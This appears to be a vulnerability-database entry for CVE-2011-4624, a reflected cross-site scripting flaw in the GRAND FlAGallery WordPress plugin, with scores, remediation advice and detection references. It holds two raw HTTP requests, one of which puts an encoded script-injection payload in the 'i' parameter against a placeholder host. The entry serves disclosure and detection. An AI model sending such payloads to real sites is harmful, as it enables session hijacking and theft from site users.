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CVE-2011-4624: GRAND FlAGallery 1.57 - Cross-Site Scripting

TitleGRAND FlAGallery 1.57 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score4.3
EPSS Score0.05988
CVE IDCVE-2011-4624
CWE IDCWE-79
Tags cve cve2011 wordpress xss wp-plugin codeasily vuln

🔍 Vulnerability Description

A cross-site scripting (XSS) vulnerability in facebook.php in the GRAND FlAGallery plugin (flash-album-gallery) before 1.57 for WordPress allows remote attackers to inject arbitrary web script or HTML via the i parameter.

🌐 HTTP Request

GET /wp-content/plugins/flash-album-gallery/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-4624.yaml

🦈 Packet Capture: ⬇️ Download cve-2011-4624.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A